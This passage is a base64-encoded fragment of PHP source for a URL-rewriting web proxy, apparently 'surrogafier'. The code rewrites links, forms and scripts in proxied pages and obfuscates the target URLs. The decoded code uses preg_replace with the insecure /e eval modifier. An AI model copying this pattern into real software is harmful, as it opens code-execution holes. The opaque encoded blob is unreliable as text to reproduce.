tcNFw3JyksICMgT0xEV0FZDQoJCSNhcnJheSgxLDIsIi8oPHNjcmlwdCg/Oig/Oig/ISBzcmN7JGFueXNwYWNlfT0pW14+XSkqKT4pKFtcc1xTXSo/KSg/OnskYW55c3BhY2V9KD86XC9cLyk/eyRhbnlzcGFjZX0tLT57JGFueXNwYWNlfSk/PFwvc2NyaXB0Pi9pIiwnXDFcMjsnLkNPT0tfUFJFRi4nLnB1cmdlKCk7Ly8tLT48L3NjcmlwdD4nKSwgIyBPTERXQVkNCg0KCQkjIHRhcmdldCBhdHRyDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFP2FycmF5KDEsMSwiLyg8W2Etel1bXj5dKnskYW55c3BhY2V9KSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/OnskZnJhbWV0YXJnZXRzfXwoJyl7JGZyYW1ldGFyZ2V0c30nfChcIil7JGZyYW1ldGFyZ2V0c31cIikvaSIsJ1wxJyk6bnVsbCksDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9DSElMRD9hcnJheSgxLDEsIi8oPFthLXpdW14+XSp7JGFueXNwYWNlfSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzpfdG9wfCgnKV90b3AnfChcIilfdG9wXCIpL2kiLCdcMVwyXDMnLkNPT0tfUFJFRi4nX3RvcFwyXDMnKTpudWxsKSwNCg0KCQkjIGRlYWwgd2l0aCA8Zm9ybT5zDQoJCWFycmF5KDEsMSwiLyg8Zm9ybXskZm9ybW5vdHBvc3R9Kj8pKD86eyRwbHVzc3BhY2V9YWN0aW9ueyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9KSh7JGZvcm1ub3Rwb3N0fSopPi9pIiwnXDFcMz48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIGNsYXNzPSInLkNPT0tfUFJFRi4nIiB2YWx1ZT1cMiAvPicpLA0KCQlhcnJheSgyLDEsIi88aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJcIiBjbGFzcz1cIiIuQ09PS19QUkVGLiJcIiB2YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfSBcLz4vaSIsMSxmYWxzZSksDQoJCWFycmF5KDEsMSwnLyg8Zm9ybVtePl0qPyk+L2knLCdcMSB0YXJnZXQ9Il9zZWxmIicuKEVOQ1JZUFRfVVJMUz8nIG9uc3VibWl0PSJyZXR1cm4gJy5DT09LX1BSRUYuJy5mb3JtX2VuY3J5cHQodGhpcyk7Ij4nOic+JykpLA0KCQlhcnJheSgxLDEsIi8oPGZvcm17JGZvcm1ub3Rwb3N0fSspPig/ITwhLS0iLkNPT0tfUFJFRi4nLS0+KS9pJywnXDEgdGFyZ2V0PSJfcGFyZW50Ij48IS0tJy5DT09LX1BSRUYuJy0tPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiIgdmFsdWU9Il8iPicpLA0KDQoJCSMgZGVhbCB3aXRoIHRoZSBmb3JtIGJ1dHRvbiBmb3IgZW5jcnlwdGVkIFVSTHMNCgkJKEVOQ1JZUFRfVVJMUz9hcnJheSgxLDEsIi8oPGlucHV0W14+XSo/IHR5cGV7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Olwic3VibWl0XCJ8J3N1Ym1pdCd8c3VibWl0KVtePl0qP1teXC9dKSgoPzpbIF0/W1wvXSk/PikvaSIsJ1wxIG9uY2xpY2s9IicuQ09PS19QUkVGLidfZm9ybV9idXR0b249dGhpcy5uYW1lOyJcMicpOm51bGwpLA0KDQoJCSMgcGFyc2UgYWxsIHRoZSBvdGhlciB0YWdzDQoJCWFycmF5KDIsMSwiLzxbYS16XVtePl0qeyRwbHVzc3BhY2V9eyRodG1sYXR0cnN9eyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDIpLA0KCQlhcnJheSgyLDEsIi88cGFyYW1bXj5dKnskcGx1c3NwYWNlfW5hbWV7JGFueXNwYWNlfT17JGFueXNwYWNlfVtcIiddP21vdmllW14+XSp7JHBsdXNzcGFjZX12YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxKSwNCgkJYXJyYXkoMiwyLCIvPHNjcmlwdFtePl0qP3skcGx1c3NwYWNlfXNyY3skYW55c3BhY2V9PXskYW55c3BhY2V9KFtcIiddKXskYW55c3BhY2V9KC4qP1teXFxcXF0pXFwxW14+XSo+eyRhbnlzcGFjZX08XC9zY3JpcHQ+L2kiLDIpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPGEoPzpyZWEpP3skcGx1c3NwYWNlfVtePl0qaHJlZnskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxLGZhbHNlLE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOm51bGwpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPFtpXT9mcmFtZXskcGx1c3NwYWNlfVtePl0qc3JjeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDEsZmFsc2UsUEFHRVRZUEVfRlJBTUVEX0NISUxEKTpudWxsKQ0KCSksDQoNCgkndGV4dC9jc3MnID0+IGFycmF5KA0KCQlhcnJheSgyLDEsIi9bXmEtel11cmxcKHskYW55c3BhY2V9KCYoPzpxdW90fCMoPzozWzQ5XSkpO3xcInwnKSguKj9bXlxcXFxdKShcXDEpeyRhbnlzcGFjZX1cKS9pIiwyKSwNCgkJYXJyYXkoMiwxLCIvW15hLXpddXJsXCh7JGFueXNwYWNlfSgoPyEmKD86cXVvdHwjKD86M1s0OV0pKTspW15cIidcXFxcXS4qP1teXFxcXF0peyRhbnlzcGFjZX1cKS9pIiwxKSwNCgkJYXJyYXkoMiwxLCIvQGltcG9ydHskcGx1c3NwYWNlfSgmKD86cXVvdHwjKD86M1s0OV0pKTt8XCJ8JykoLio/W15cXFxcXSkoXFwxKTsvaSIsMikNCgkpLA0KDQoJJ2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMsDQoJJ3RleHQvamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMNCik7DQoNCiMgfX19DQoNCiMgUkVHRVhQUzogSU5TRVJUIEpBVkFTQ1JJUFQgUkVHRVhQUyB7e3sNCg0KaWYoUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwcycgfHwgUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwc19mcmFtZWQnKXsgPz4vLzxzY3JpcHQ+DQo8P3BocCBlY2hvKGNvbnZlcnRhcnJheV90b19qYXZhc2NyaXB0KCkuKCghZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpPydyZWdleHBfYXJyYXlzWyJ0ZXh0L2h0bWwiXS5wdXNoKEFycmF5KDEsLzxbXFxcXC9dPyhlbWJlZHxwYXJhbXxvYmplY3QpW14+XSo+L2lnLCIiKSk7JzpudWxsKSk7ID8+DQovLzwvc2NyaXB0Pjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFNFUlZFUi1TSURFIE9OTFkgUEFSU0lORyB7e3sNCg0KYXJyYXlfcHVzaCgkcmVnZXhwX2FycmF5c1sndGV4dC9odG1sJ10sDQoJYXJyYXkoMiwxLCIvPG1ldGFbXj5dKnskcGx1c3NwYWNlfWh0dHAtZXF1aXZ7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpcmVmcmVzaFxcMVtePl0qIGNvbnRlbnR7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpWyAwLTlcLjtcdFxcclxuXSp1cmw9KC4qPylcXDJbXj5dKj4vaSIsMyx0cnVlLE5FV19QQUdFVFlQRV9GUkFNRURfUEFHRSksDQoJYXJyYXkoMSwxLCIvKDxtZXRhW14+XSp7JHBsdXNzcGFjZX1odHRwLWVxdWl2eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0oW1wiJ118KXNldC1jb29raWVcXDJbXj5dKiBjb250ZW50eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0pKFtcIiddKSguKj9bXlxcXFxdKXskYW55c3BhY2V9XFwzL2kiLCdcMVwzJy5QQUdFQ09PS19QUkVGSVguJ1w0XDMnKQ0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBDTEVBTlVQIHt7ew0KDQojIG5lZWRlZCBsYXRlciwgYnV0ICRhbnlzcGFjZSBhbmQgJGh0bWxyZWcgYXJlIHVuc2V0IGJlbG93DQpkZWZpbmUoJ0JBU0VfUkVHRVhQJywiPGJhc2VbXj5dKiBocmVmeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9W14+XSo+Iik7DQpkZWZpbmUoJ0VORF9PRl9TQ1JJUFRfVEFHJywiKD86eyRhbnlzcGFjZX0oPzpcL1wvKT97JGFueXNwYWNlfS0tPnskYW55c3BhY2V9KT88XC9zY3JpcHQ+Iik7DQpkZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsIiggb25bYS16XXszLDIwfT0oPzpcIlteXCJdK1wifCdbXiddKyd8W15cIicgPl1bXiA+XStbXlwiJyA+XSl8IGhyZWY9KD86XCJ7JGFueXNwYWNlfWphdmFzY3JpcHQ6W15cIl0rXCJ8J3skYW55c3BhY2V9amF2YXNjcmlwdDpbXiddKyd8eyRhbnlzcGFjZX1qYXZhc2NyaXB0OlteXCInID5dW14gPl0rW15cIicgPl0pKSIpOw0KDQp1bnNldCgkanNhdHRycywkanNob29rYXR0cnMsJGpzbWV0aG9kcywkanNsb2Nob3N0LCRodG1sYXR0cnMsDQogICAgICAkYW55c3BhY2UsJHBsdXNzcGFjZSwkb3BlcmFuZHMsJG5vdG9wZXJhbmRzLA0KICAgICAgJHF1b3Rlc2VnLCRyZWdzZWcsDQogICAgICAkanN2YXJzZWN0LCRqc29ianNlY3QsJGpzdmFyb2JqLCRqc3F1b3Rlc2VjdCwkanNxdW90ZXJlZywNCiAgICAgICRub3Rqc3ZhcnNlY3QsDQogICAgICAkanNlbmQsJG5vdGpzZW5kLCRqc2JlZ2luLCRqc2JlZ2lucmlnaHQsDQogICAgICAkaHRtbG5vcXVvdCwkaHRtbG5vcXVvdG5vcW0sJGh0bWxyZWcsJHhtbGh0dHByZXEsJGpzbmV3b2JqLCRmb3Jtbm90cG9zdCwkZnJhbWV0YXJnZXRzLA0KICAgICAgJGpzX3N0cmluZ19tZXRob2RzLCRqc19zdHJpbmdfYXR0cnMsDQogICAgICAkanNfcmVnZXhwX2FycmF5cw0KKTsNCg0KIyB9fX0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlMge3t7DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBBVVJMIENMQVNTIHt7ew0KDQojIGNsYXNzIGZvciBVUkwNCmNsYXNzIGF1cmx7DQoJdmFyICR1cmwsJHRvcHVybCwkbG9ja2VkOw0KCXZhciAkcHJvdG8sJHVzZXJwYXNzLCRzZXJ2ZXJuYW1lLCRwb3J0dmFsLCRwYXRoLCRmaWxlLCRxdWVyeSwkbGFiZWw7DQoNCglmdW5jdGlvbiBhdXJsKCR1cmwsJHRvcHVybD1udWxsKXsNCg0KCQlpZihzdHJsZW4oJHVybCk+TUFYSU1VTV9VUkxfTEVOR1RIKSAkdGhpcy0+dXJsPW51bGw7DQoJCWVsc2UgJHRoaXMtPnVybD1wcmVnX3JlcGxhY2UoJy8mIyhbMC05XSspOy9lJywnY2hyKFwxKScsdHJpbShzdHJfcmVwbGFjZSgnJmFtcDsnLCcmJyxzdHJfcmVwbGFjZShjaHIoMTMpLG51bGwsc3RyX3JlcGxhY2UoY2hyKDEwKSxudWxsLCR1cmwpKSkpKTsNCgkJJHRoaXMtPnRvcHVybD0kdG9wdXJsOw0KDQoJCSR0aGlzLT5kZXRlcm1pbmVfbG9ja2VkKCk7DQoJCWlmKCR0aGlzLT5sb2NrZWQpIHJldHVybjsNCg0KCQkkdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXByZWdfbWF0Y2goVVJMUkVHLCR0aGlzLT51cmwpKXsNCgkJCSR1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKCR0aGlzLT50b3B1cmw9PW51bGwpICR0aGlzLT51cmw9J2h0dHA6Ly8nLigoJHRoaXMtPnVybHswfT09JzonIHx8ICR0aGlzLT51cmx7MH09PScvJyk/c3Vic3RyKCR0aGlzLT51cmwsMSk6JHRoaXMtPnVybCkuKHN0cnBvcygkdGhpcy0+dXJsLCcvJykhPT1mYWxzZT9udWxsOicvJyk7DQoJCQkjaWYoJHRoaXMtPnRvcHVybD09bnVsbCkgJHRoaXMtPnVybD0naHR0cDovLycucHJlZ19yZXBsYWNlKCIvXjo/XC97MCwyfS8iLCIiLCR0aGlzLT51cmwpLihzdHJwb3MoJHRoaXMtPnVybCwnLycpIT09ZmFsc2U/bnVsbDonLycpOw0KCQkJZWxzZXsNCgkJCQkkbmV3dXJsPSR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpLiR0aGlzLT5nZXRfZmllbGRyZXEoMiwkdGhpcy0+dG9wdXJsLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPnRvcHVybC0+Z2V0X3NlcnZlcm5hbWUoKS4oKCR0aGlzLT50b3B1cmwtPmdldF9wb3J0dmFsKCkhPTgwICYmICgkdGhpcy0+dG9wdXJsLT5nZXRfcHJvdG8oKT09J2h0dHBzJz8kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyc6Jy4kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpOm51bGwpOw0KCQkJCWlmKCR0aGlzLT51cmx7MH0hPScvJykgJG5ld3VybC49JHRoaXMtPnRvcHVybC0+Z2V0X3BhdGgoKTsNCgkJCQkkdGhpcy0+dXJsPSRuZXd1cmwuJHRoaXMtPnVybDsNCgkJCX0NCgkJfQ0KDQoJCSR0aGlzLT5zZXRfcHJvdG8oKCR1cmx3YXN2YWxpZCB8fCAkdGhpcy0+dG9wdXJsPT1udWxsP3ByZWdfcmVwbGFjZSgnL14oW146XC9dKikuKiQvJywnXDEnLCR0aGlzLT51cmwpOiR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpKSk7DQoJCSR0aGlzLT5zZXRfdXNlcnBhc3MocHJlZ19yZXBsYWNlKFVSTFJFRywnXDInLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9zZXJ2ZXJuYW1lKHByZWdfcmVwbGFjZShVUkxSRUcsJ1wzJywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcG9ydHZhbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcNCcsJHRoaXMtPnVybCkpOw0KCQkkdGhpcy0+c2V0X3BhdGgocHJlZ19yZXBsYWNlKFVSTFJFRywnXDUnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9maWxlKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w2JywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcXVlcnkocHJlZ19yZXBsYWNlKFVSTFJFRywnXDcnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9sYWJlbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcOCcsJHRoaXMtPnVybCkpOw0KDQoJCWlmKCEkdGhpcy0+bG9ja2VkICYmICFwcmVnX21hdGNoKFVSTFJFRywkdGhpcy0+dXJsKSkgaGF2b2soNywkdGhpcy0+dXJsKTsgIyoNCgl9DQoNCglmdW5jdGlvbiBkZXRlcm1pbmVfbG9ja2VkKCl7ICR0aGlzLT5sb2NrZWQ9cHJlZ19tYXRjaChBVVJMX0xPQ0tfUkVHRVhQLCR0aGlzLT51cmwpPjA7IH0gIyoNCg0KCWZ1bmN0aW9uIGdldF9maWVsZHJlcSgkZmllbGRubywkdmFsdWUpew0KCQkkZmllbGRyZXFzPWFycmF5KDIgPT4gJzovLycuKCR2YWx1ZSE9bnVsbD8iJHZhbHVlQCI6bnVsbCksIDQgPT4gKCR2YWx1ZSE9bnVsbCAmJiBpbnR2YWwoJHZhbHVlKSE9ODA/JzonLmludHZhbCgkdmFsdWUpOm51bGwpLCA3ID0+ICgkdmFsdWUhPW51bGw/Ij8kdmFsdWUiOm51bGwpLCA4ID0+ICgkdmFsdWUhPW51bGw/IiMkdmFsdWUiOm51bGwpKTsNCgkJaWYoIWFycmF5X2tleV9leGlzdHMoJGZpZWxkbm8sJGZpZWxkcmVxcykpIHJldHVybiAoZW1wdHkoJHZhbHVlKT9udWxsOiR2YWx1ZSk7DQoJCWVsc2UgcmV0dXJuICRmaWVsZHJlcXNbJGZpZWxkbm9dOw0KCX0NCg0KCWZ1bmN0aW9uIHNldF9wcm90bygkcHJvdG89JycpeyBpZigkdGhpcy0+bG9ja2VkKSByZXR1cm47ICR0aGlzLT5wcm90bz0oIWVtcHR5KCRwcm90byk/JHByb3RvOidodHRwJyk7IH0NCglmdW5jdGlvbiBnZXRfcHJvdG8oKXsgcmV0dXJuICR0aGlzLT5wcm90bzsgfQ0KCWZ1bmN0aW9uIGdldF91c2VycGFzcygpeyByZXR1cm4gJHRoaXMtPnVzZXJwYXNzOyB9DQoJZnVuY3Rpb24gc2V0X3VzZXJwYXNzKCR1c2VycGFzcz1udWxsKXsgJHRoaXMtPnVzZXJwYXNzPSR1c2VycGFzczsgfQ0KCWZ1bmN0aW9uIGdldF9zZXJ2ZXJuYW1lKCl7IHJldHVybiAkdGhpcy0+c2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIHNldF9zZXJ2ZXJuYW1lKCRzZXJ2ZXJuYW1lPW51bGwpeyAkdGhpcy0+c2VydmVybmFtZT0kc2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIGdldF9wb3J0dmFsKCl7IHJldHVybiAoZW1wdHkoJHRoaXMtPnBvcnR2YWwpPygkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JzQ0Myc6JzgwJyk6JHRoaXMtPnBvcnR2YWwpOyB9DQoJZnVuY3Rpb24gc2V0X3BvcnR2YWwoJHBvcnQ9bnVsbCl7ICR0aGlzLT5wb3J0dmFsPXN0cnZhbCgoaW50dmFsKCRwb3J0KSE9ODApPyRwb3J0Om51bGwpOyB9DQoJZnVuY3Rpb24gZ2V0X3BhdGgoKXsNCgkJaWYoc3RycG9zKCR0aGlzLT5wYXRoLCcvLi4vJykhPT1mYWxzZSkgJHRoaXMtPnBhdGg9cHJlZ19yZXBsYWNlKCcvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy8nLCcvJywkdGhpcy0+cGF0aCk7DQoJCWlmKHN0cnBvcygkdGhpcy0+cGF0aCwnLy4vJykhPT1mYWxzZSkgd2hpbGUoKCRwYXRoPXN0cl9yZXBsYWNlKCcvLi8nLCcvJywkdGhpcy0+cGF0aCkpICYmICRwYXRoIT0kdGhpcy0+cGF0aCkgJHRoaXMtPnBhdGg9JHBhdGg7DQoJCXJldHVybiAkdGhpcy0+cGF0aDsNCgl9DQoJZnVuY3Rpb24gc2V0X3BhdGgoJHBhdGg9bnVsbCl7ICR0aGlzLT5wYXRoPShlbXB0eSgkcGF0aCk/Jy8nOiRwYXRoKTsgfQ0KCWZ1bmN0aW9uIGdldF9maWxlKCl7IHJldHVybiAkdGhpcy0+ZmlsZTsgfQ0KCWZ1bmN0aW9uIHNldF9maWxlKCRmaWxlPW51bGwpeyAkdGhpcy0+ZmlsZT0kZmlsZTsgfQ0KCWZ1bmN0aW9uIGdldF9xdWVyeSgpeyByZXR1cm4gJHRoaXMtPnF1ZXJ5OyB9DQoJZnVuY3Rpb24gc2V0X3F1ZXJ5KCRxdWVyeT1udWxsKXsgJHRoaXMtPnF1ZXJ5PSRxdWVyeTsgfQ0KCWZ1bmN0aW9uIGdldF9sYWJlbCgpeyByZXR1cm4gJHRoaXMtPmxhYmVsOyB9DQoJZnVuY3Rpb24gc2V0X2xhYmVsKCRsYWJlbD1udWxsKXsgJHRoaXMtPmxhYmVsPSRsYWJlbDsgfQ0KDQoJZnVuY3Rpb24gZ2V0X3VybCgkd2l0aGxhYmVsPXRydWUpew0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHRoaXMtPnVybDsNCgkJcmV0dXJuICR0aGlzLT5nZXRfcHJvdG8oKS4nOi8vJy4NCgkJICAgICAgICgkdGhpcy0+Z2V0X3VzZXJwYXNzKCk9PW51bGw/bnVsbDokdGhpcy0+Z2V0X3VzZXJwYXNzKCkuJ0AnKS4NCgkJICAgICAgICR0aGlzLT5nZXRfc2VydmVybmFtZSgpLg0KCQkgICAgICAgKCgkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcycgJiYgaW50dmFsKCR0aGlzLT5nZXRfcG9ydHZhbCgpKT09NDQzKSB8fCBpbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpPT04MD9udWxsOic6Jy5pbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpKS4NCgkJICAgICAgICR0aGlzLT5nZXRfcGF0aCgpLiR0aGlzLT5nZXRfZmlsZSgpLg0KCQkgICAgICAgKCR0aGlzLT5nZXRfcXVlcnkoKT09bnVsbD9udWxsOic/Jy4kdGhpcy0+Z2V0X3F1ZXJ5KCkpLg0KCQkgICAgICAgKCR3aXRobGFiZWwgJiYgJHRoaXMtPmdldF9sYWJlbCgpPT1udWxsP251bGw6JyMnLiR0aGlzLT5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCWZ1bmN0aW9uIHN1cnJvZ2FmeSgpew0KCQkkbGFiZWw9JHRoaXMtPmdldF9sYWJlbCgpOw0KCQkkdGhpcy0+c2V0X2xhYmVsKCk7DQoJCSR1cmw9JHRoaXMtPmdldF91cmwoKTsNCgkJJHRoaXMtPnNldF9sYWJlbCgkbGFiZWwpOw0KDQoJCSMkdGhpcy0+ZGV0ZXJtaW5lX2xvY2tlZCgpOw0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHVybDsNCgkJIyB8fCAkdGhpcy0+Z2V0X3Byb3RvKCkuJHRoaXMtPmdldF9maWVsZHJlcSgyLCR0aGlzLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPmdldF9zZXJ2ZXJuYW1lKCkuJHRoaXMtPmdldF9wYXRoKCkuJHRoaXMtPmdldF9maWxlKCk9PVRISVNfU0NSSVBUKSByZXR1cm4gJHVybDsNCg0KCQlpZihFTkNSWVBUX1VSTFMgJiYgISR0aGlzLT5sb2NrZWQpICR1cmw9cHJveGVuYygkdXJsKTsNCgkJIyR1cmw9VEhJU19TQ1JJUFQuJz89Jy4oIUVOQ1JZUFRfVVJMUz91cmxlbmNvZGUoJHVybCk6JHVybCkuKCFlbXB0eSgkbGFiZWwpPyIjJGxhYmVsIjpudWxsKTsgIyB1cmxlbmNvZGVkDQoJCSR1cmw9VEhJU19TQ1JJUFQuIj89eyR1cmx9Ii4oIWVtcHR5KCRsYWJlbCk/IiMkbGFiZWwiOm51bGwpOw0KCQlyZXR1cm4gJHVybDsNCgl9DQp9IA0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogVVJMIFBBUlNJTkcge3t7DQpmdW5jdGlvbiBzdXJyb2dhZnlfdXJsKCR1cmwsJHRvcHVybD1mYWxzZSwkYWRkcHJveHk9dHJ1ZSl7DQoJZ2xvYmFsICRjdXJyX3VybG9iajsNCgkvL2lmKHByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2lzJywkdXJsKT4wKXsNCglpZigoJHVybHswfT09JyInICYmIHN1YnN0cigkdXJsLC0xKT09JyInKSB8fCAoJHVybHswfT09J1wnJyAmJiBzdWJzdHIoJHVybCwtMSk9PSdcJycpKXsNCgkJJHVybHF1b3RlPSR1cmx7MH07DQoJCSR1cmw9c3Vic3RyKCR1cmwsMSxzdHJsZW4oJHVybCktMik7DQoJfQ0KCWlmKCR0b3B1cmw9PT1mYWxzZSkgJHRvcHVybD0kY3Vycl91cmxvYmo7DQoJJHVybG9iaj1uZXcgYXVybCgkdXJsLCR0b3B1cmwpOw0KCSRuZXdfdXJsPSgkYWRkcHJveHk/JHVybG9iai0+c3Vycm9nYWZ5KCk6JHVybG9iai0+Z2V0X3VybCgpKTsNCglpZighZW1wdHkoJHVybHF1b3RlKSkgJG5ld191cmw9InskdXJscXVvdGV9eyRuZXdfdXJsfXskdXJscXVvdGV9IjsNCglyZXR1cm4gJG5ld191cmw7DQp9DQoNCmZ1bmN0aW9uIGZyYW1pZnlfdXJsKCR1cmwsJGZyYW1lX3R5cGU9ZmFsc2Upew0KCWlmKCgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FX1RPUCB8fCAhVVJMX0ZPUk0pICYmICgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FRF9QQUdFICYmICFQQUdFX0ZSQU1FRCkpIHJldHVybiAkdXJsOw0KCS8vaWYocHJlZ19tYXRjaCgnL14oWyJcJ10pLipcMSQvaXMnLCR1cmwpPjApew0KCWlmKCgkdXJsezB9PT0nIicgJiYgc3Vic3RyKCR1cmwsLTEpPT0nIicpIHx8ICgkdXJsezB9PT0nXCcnICYmIHN1YnN0cigkdXJsLC0xKT09J1wnJykpew0KCQkkdXJscXVvdGU9JHVybHswfTsNCgkJJHVybD1zdWJzdHIoJHVybCwxLHN0cmxlbigkdXJsKS0yKTsNCgl9DQoJaWYocHJlZ19tYXRjaChGUkFNRV9MT0NLX1JFR0VYUCwkdXJsKTw9MCl7DQoJCWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVfVE9QICYmIFVSTF9GT1JNKSAkcXVlcnk9JyY9JzsNCgkJZWxzZWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEKSAkcXVlcnk9Jy4mPSc7DQoJCWVsc2VpZigkZnJhbWVfdHlwZT09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VfRlJBTUVEKSAkcXVlcnk9J18mPSc7DQoJCWVsc2UgJHF1ZXJ5PW51bGw7DQoJCSR1cmw9cHJlZ19yZXBsYWNlKCcvXihbXlw/XSopW1w/XT8nLlBBR0VUWVBFX01JTklSRUdFWFAuJyhbXiNdKj9bI10/Lio/KSQvJywiXFwxPz17JHF1ZXJ5fVxcMyIsJHVybCwxKTsNCgl9DQoJaWYoIWVtcHR5KCR1cmxxdW90ZSkpICR1cmw9InskdXJscXVvdGV9eyR1cmx9eyR1cmxxdW90ZX0iOw0KCXJldHVybiAkdXJsOw0KfQ0KDQpmdW5jdGlvbiBwcm94ZW5jKCR1cmwpew0KCWlmKCR1cmx7MH09PSd+JyB8fCBzdHJ0b2xvd2VyKHN1YnN0cigkdXJsLDAsMykpPT0nJTdlJykgcmV0dXJuICR1cmw7DQoJJHVybD11cmxlbmNvZGUoJHVybCk7DQoJJG5ld191cmw9bnVsbDsNCglmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCSRjaGFyPW9yZCgkdXJseyRpfSk7DQoJCSRjaGFyKz1vcmQoc3Vic3RyKFNFU1NfUFJFRiwkaSVzdHJsZW4oU0VTU19QUkVGKSwxKSk7DQoJCXdoaWxlKCRjaGFyPjEyNikgJGNoYXItPTk0Ow0KCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgl9DQoJI3JldHVybiAnficuYmFzZTY0X2VuY29kZSgkbmV3X3VybCk7DQoJcmV0dXJuICd+Jy51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkbmV3X3VybCkpOw0KfQ0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogRVJST1JTICYgRVhJVElORyB7e3sNCg0KZnVuY3Rpb24gZmluaXNoX25vZXhpdCgpew0KCWdsb2JhbCAkZG5zX2NhY2hlX2FycmF5Ow0KCSMgc2F2ZSBETlMgQ2FjaGUgYmVmb3JlIGV4aXRpbmcNCgkkX1NFU1NJT05bJ0ROU19DQUNIRV9BUlJBWSddPSRkbnNfY2FjaGVfYXJyYXk7DQp9DQoNCmZ1bmN0aW9uIGZpbmlzaCgpew0KCWZpbmlzaF9ub2V4aXQoKTsNCglleGl0KCk7DQp9DQoNCmZ1bmN0aW9uIGhhdm9rKCRlcnJvcm5vLCRhcmcxPW51bGwsJGFyZzI9bnVsbCwkYXJnMz1udWxsKXsNCglnbG9iYWwgJGN1cnJfdXJsOw0KCSR1cmw9JGN1cnJfdXJsOw0KCXN3aXRjaCgkZXJyb3Jubyl7DQoJCWNhc2UgMToNCgkJCSRldD0nQmFkIElQIEFkZHJlc3MnOw0KCQkJJGVkPSJUaGUgSVAgYWRkcmVzcyBnaXZlbiAoeyRhcmcyfSkgaXMgYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLCBvciB0aGUgZG9tYWluIGdpdmVuICh7JGFyZzF9KSB3YXMgcmVzb2x2ZWQgdG8gYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLiI7DQoJCQlicmVhazsNCgkJY2FzZSAyOg0KCQkJJGV0PSdBZGRyZXNzIGlzIEJsb2NrZWQnOw0KCQkJJGVkPSJUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlz